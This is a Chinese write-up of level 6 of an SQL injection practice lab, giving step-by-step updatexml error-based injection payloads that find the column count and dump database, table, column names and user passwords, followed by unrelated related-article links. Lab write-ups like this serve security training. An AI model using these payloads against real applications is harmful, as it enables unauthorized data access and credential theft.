SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
不剪发的Tony老师18 分钟前
Noir:一款键盘驱动的现代化数据库管理工具
数据库·sql
.柒宇.1 小时前
MySQL双主同步
linux·数据库·mysql·docker
Trouvaille ~2 小时前
【MySQL篇】数据类型:存储数据的基础
android·数据库·mysql·adb·字符集·数据类型·基础入门
一 乐2 小时前
酒店预订|基于springboot + vue酒店预订系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·论文·毕设·酒店预订系统
光泽雨3 小时前
UNION 和 UNION ALL 作用
数据库·sql
heimeiyingwang3 小时前
【架构实战】SQL调优实战:从执行计划到索引优化
数据库·sql·架构
恼书:-(空寄3 小时前
分库分表风险应对手册(生产实战版)
数据库·分库分表
XDHCOM3 小时前
ORA-06521: PL/SQL映射函数错误,权威解析Oracle报错故障修复与远程处理方案
数据库·sql·oracle
仲芒3 小时前
[24年单独笔记] MySQL 常用的 DDL 命令
笔记·mysql·oracle
数厘3 小时前
2.11 约束的使用(主键、外键、非空、唯一、默认值约束)
sql·mysql·数据分析